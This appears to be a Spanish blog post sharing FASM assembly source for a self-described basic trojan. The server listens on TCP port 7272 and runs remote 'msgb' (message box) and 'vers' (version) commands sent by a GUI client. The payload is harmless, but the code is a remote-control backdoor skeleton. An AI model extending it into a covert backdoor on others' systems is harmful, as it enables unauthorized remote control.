Encontré esto buscando cómo manejar sockets en ASM. Es un troyano básico escrito en Fasm utilizando sockets para enviar mensajes.
Escrito por sraeG
Cliente:
Server:
Resource:
Descargar Archivos .ASM
Saludos
Escrito por sraeG
Cliente:
Código
; Template using RES file
include 'win32ax.inc'
IDD_MAINDLG = 101 ; All our resource identifiers
IDC_IP = 1015
IDC_CONNECT = 1016
IDC_MSG = 1017
IDC_SEND = 1018
IDC_VERSION = 1019
.data
hInstance dd ? ; Our instance handle
iPort equ 7272d ; Our port.. remember to change this in the server
iIP rb 17 ; Buffer for getting IP
wsaData WSADATA ; To store Winsock data
hSocket dd 0 ; Socket handle variable
sockAddr dw AF_INET ; sockAddr
sockAddrp dw ?
sockAddrip dd 0
sockAddrZ rb 8
sockAddrSize = $-sockAddr
randomBuf rb 1024 ; Random buffer for shit
sendBuf rb 1024 ; Send buffer
recvBuf rb 1024 ; Recieve buffer
.code
start:
invoke GetModuleHandle, 0 ; Should know all this shit..
mov [hInstance], eax
invoke DialogBoxParam, [hInstance], IDD_MAINDLG, 0, dlgProc, 0
invoke ExitProcess, 0
.end start
proc dlgProc, hDlg, uMsg, wParam, lParam
push ebx esi edi
cmp [uMsg], WM_COMMAND
je .wmcommand
cmp [uMsg], WM_CLOSE
je .wmclose
cmp [uMsg], WM_INITDIALOG
je .wminitdlg
cmp [uMsg], WM_DESTROY
je .wmclose
xor eax, eax
jmp .finish
.wminitdlg:
mov eax, 1
jmp .finish
.wmclose:
invoke EndDialog, [hDlg], 0
mov eax, 1
jmp .finish
.wmcommand:
mov eax, [wParam]
and eax, 0x0FFFF ; To get the LOWORD of wParam
cmp eax, IDC_CONNECT
je .connect
cmp eax, IDC_SEND
je .sendmessage
cmp eax, IDC_VERSION
je .version
mov eax, 0
jmp .finish
.connect:
invoke WSAStartup, 0002h, wsaData ; Same as in the server
test eax, eax
jnz .error
invoke socket, AF_INET, SOCK_STREAM, 0
cmp eax, -1
je .error
mov [hSocket], eax
invoke htons, iPort
mov [sockAddrp], ax
invoke GetDlgItemText, [hDlg], IDC_IP, iIP, 16 ; Get our IP from the text box
invoke inet_addr, iIP ; Convert it so our PCs can use it
mov [sockAddrip], eax ; Store it
invoke connect, [hSocket], sockAddr, 16 ; Connect to that IP
test eax, eax ; Did it work?
jnz .error ; No, display that we can't connect
invoke MessageBox, [hDlg], "Connection Successful..", "Message :", 0 ; Yup, show a success message
jmp .finish ; Connection finished
.error:
invoke MessageBox, [hDlg], "A connection could not be established", "Error :", 0; Error message
jmp .finish
.sendmessage:
cmp dword [hSocket], 0 ; Have we got a socket handle?
je .error ; No, show that we aren't connected
invoke GetDlgItemText, [hDlg], IDC_MSG, randomBuf, 1024 ; Yes, so get our message to be sent
invoke lstrcpy, sendBuf, "msgb" ; Put the msgb identifier at the beginning of it
invoke lstrcat, sendBuf, randomBuf ; And then put the message on
invoke send, [hSocket], sendBuf, 1024, 0 ; Send the identifier + message
jmp .finish ; Carry on...
.version:
cmp dword [hSocket], 0
je .error
invoke lstrcpy, sendBuf, "vers" ; Send a version identifier
invoke send, [hSocket], sendBuf, 1024, 0 ; Sent it
invoke recv, [hSocket], recvBuf, 1024, 0 ; Recieve the version string
invoke MessageBox, [hDlg], recvBuf, "Version Checker", 0 ; Then display it
jmp .finish ; Carry On
.finish:
pop edi esi ebx
ret
endp
section '.rsrc' data readable resource from 'resource.res'; Import external .res file (created by a different program, such as VC++)
Server:
Código
include 'win32ax.inc'
.data
iPort equ 7272d ; Port to connect on, remember to change this in client too
wsaData WSADATA ; For holding our Winsock information
hSocket dd ? ; Variable to hold our listening socket handle
hRemoteSocket dd ? ; Variable to hold our connected socket handle
sockAddr dw AF_INET ; sockAddr Structure .. check API reference..
sockAddrp dw ?
sockAddrip dd 0
sockAddrZ rb 8
sockAddrSize = $-sockAddr ; Size of struct (16 bytes)
remoAddr dw ? ; Another sockAddr Structure
remoAddrp dw ?
remoAddrip dd ?
remoAddrZ rb 8
remoAddrSize dd ?
recvBuf rb 1024 ; Buffer to store recieved information
sendBuf rb 1024 ; Buffer to store information before it's sent
.code
start:
.bind_listen:
invoke WSAStartup, 0002h, wsaData ; Initiate Winsock to check version
test eax, eax ; Have we got the right version installed?
jnz .exit ; Nope, leave :/
invoke socket, AF_INET, SOCK_STREAM, 0 ; Create a socket for us
cmp eax, -1 ; Was it successfully created?
je .exit ; Nope, leave :/
mov [hSocket], eax ; Store the socket's handle
invoke htons, iPort ; Convert our Port to a value that our computer understands :P
mov [sockAddrp], ax ; And then store it..
invoke bind, [hSocket], sockAddr, sockAddrSize ; Bind our socket to this port
test eax, eax ; Did we bind it successfully?
jnz .exit ; Nope, leave :/
invoke listen, [hSocket], 5 ; Listen on this socket for incoming connections
test eax, eax ; Are we listening?
jnz .exit ; Nope, leave :/
.accept_loop:
mov [remoAddrSize], sockAddrSize ; Store our sockAddr structures size
invoke accept, [hSocket], remoAddr, remoAddrSize ; Accept any incoming connections
cmp eax, -1 ; Did we get one?
je .accept_loop ; Nah, keep trying
mov [hRemoteSocket], eax ; Yes we did, so store the new sockets handle
.recv_loop:
xor eax, eax ; Clear eax (mov eax, 0)
mov dword [recvBuf], eax ; Zero recvBuf (otherwise it keeps thinking we have data)
invoke recv, [hRemoteSocket], recvBuf, 1024, 0 ; Try and recieve any data being sent
cmp eax, 0 ; Did we get any?
je .end_recv_loop ; Nope, keep trying
cmp eax, -1 ; Is the connection lost?
je .conn_lost ; Yes, so reset everything
jmp .commands ; Check for commands
.end_recv_loop:
invoke closesocket, [hRemoteSocket] ; Close the remote socket
jmp .accept_loop ; Wait for connections again
.conn_lost:
invoke closesocket, [hSocket] ; Close our listening socket
invoke WSACleanup ; Cleanup our Winsock info up so we can reset everything
jmp .bind_listen ; Start all our connection shit again
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.commands:
cmp dword [recvBuf], "msgb" ; Did we get a MessageBox command?
je .msgb ; We sure did, display it
cmp dword [recvBuf], "vers" ; Did we get a version check command?
je .vers ; Indeed, tell the client our version
jmp .recv_loop ; None of the above commands, so wait for the next one
.msgb: ; MESSAGEBOX COMMAND
mov eax, recvBuf+4 ; Skip past the "msgb" identifier
invoke MessageBox, 0, eax, "Message :", 0 ; Display the messagebox
jmp .recv_loop ; Wait for next command
.vers: ; VERSION CHECK COMMAND
invoke lstrcpy, sendBuf, "Version: DST v1.0b" ; Copy our version to our send buffer
invoke send, [hRemoteSocket], sendBuf, 1024, 0 ; Send the information to the client who we're connected to
jmp .recv_loop ; Wait for next command
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.exit:
invoke closesocket, [hSocket] ; Close our listening socket
invoke closesocket, [hRemoteSocket] ; Close our connected socket
invoke WSACleanup ; Cleanup winsock
invoke ExitProcess, 0 ; Exit the server
.end start
Resource:
Código
; Template using RES file
include 'win32ax.inc'
IDD_MAINDLG = 101 ; Control IDs
IDC_EXIT = 40001 ; Retrieved from the .h file automatically made from VC++
.data
hInstance dd ? ; Our instance handle
.code
start:
invoke GetModuleHandle, 0
mov [hInstance], eax
invoke DialogBoxParam, [hInstance], IDD_MAINDLG, 0, dlgProc, 0
invoke ExitProcess, 0
.end start
proc dlgProc, hDlg, uMsg, wParam, lParam
push ebx esi edi
cmp [uMsg], WM_COMMAND
je .wmcommand
cmp [uMsg], WM_CLOSE
je .wmclose
cmp [uMsg], WM_INITDIALOG
je .wminitdlg
cmp [uMsg], WM_DESTROY
je .wmclose
cmp [uMsg], WM_COMMAND
je .wmcommand
xor eax, eax
jmp .finish
.wminitdlg:
mov eax, 1
jmp .finish
.wmclose:
invoke EndDialog, [hDlg], 0
mov eax, 1
jmp .finish
.wmcommand:
mov eax, [wParam]
and eax, 0x0FFFF ; To get the LOWORD of wParam
cmp eax, IDC_EXIT
je .wmclose
mov eax, 0
jmp .finish
.finish:
pop edi esi ebx
ret
endp
section '.rsrc' data readable resource from 'resource.res'; Import external .res file (created by a different program, such as VC++)
Descargar Archivos .ASM
Saludos
0 comentarios:
Publicar un comentario
Suscribirse a Enviar comentarios [Atom]
<< Inicio